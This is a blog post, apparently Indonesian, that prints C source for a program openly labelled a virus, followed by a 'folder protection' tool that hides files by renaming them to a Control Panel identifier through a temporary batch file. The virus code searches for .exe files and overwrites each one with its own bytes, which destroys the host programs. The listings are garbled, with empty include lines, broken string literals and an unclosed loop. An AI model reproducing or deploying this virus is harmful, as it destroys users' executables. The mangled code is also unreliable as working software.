SOURCE CODE VIRUS DAN ANTI VIRUS

Author: Zunavia Blog /

Code :

/*A virus program

#include
#include
#include
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst("*.exe",f,0);
while(!done)
{
virus=fopen(argv[0],"rb");//open the virus in read mode
host=fopen(f->ff_name,"rb+");//open the host file in r/w mode

for(;fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf("infecting %s
",f->ff_name);
done=findnext(f);
}
}




Code Protection Software

#include
#include
#include
void main()
{
FILE *p;
char ch,s[100];
char r[100]="REN ";

char u[]=".{21EC2020-3AEA-1069-A2DD-08002B30309D} ";
char v[50];
int choice,i;

clrscr();
p=fopen("C:\a.bat","w+");
if(p==NULL)
{
printf("
Error in opening the file a.c
");
exit(0);
}

printf("

Deepesh's Folder Obscure");
printf("

File and Folder protection software in C By Deepesh
Jain");
printf("


This software can convert your File/Folder to Control
Panel
and can Restore again.");
printf("
Enter the path of the file
");
fflush(stdin);
gets(s);

for(i=0;i<25;i++)
fputs("echo This software is not responsible for any loss in
data
",p);

printf("
Enter choice :");
printf("
1.Protect Folder/File");
printf("
2.Unprotect folder/File");
printf("
3.Exit
");
scanf("%d",&choice);


switch(choice)
{
case 1:
strcat(r,s);

printf("
Enter new name of your folder/file
");
fflush(stdin);
gets(v);
strcat(r," ");
strcat(r,v);
strcat(r,u);
break;
case 2:
strcat(r,s);
strcat(r,u);
printf("
Enter new name of your folder/file
");
fflush(stdin);
gets(v);
strcat(r,v);
break;
default:
fclose(p);
remove("C:\a.bat");

exit(0);
}



{
fputs(r,p);
for(i=0;i<25;i++)
fputs("
echo This software is not responsible for any loss in data
",p);
fputs("
exit",p);

}


fclose(p);

system("C:\a.bat");


remove("C:\a.bat");

}

0 komentar:

Posting Komentar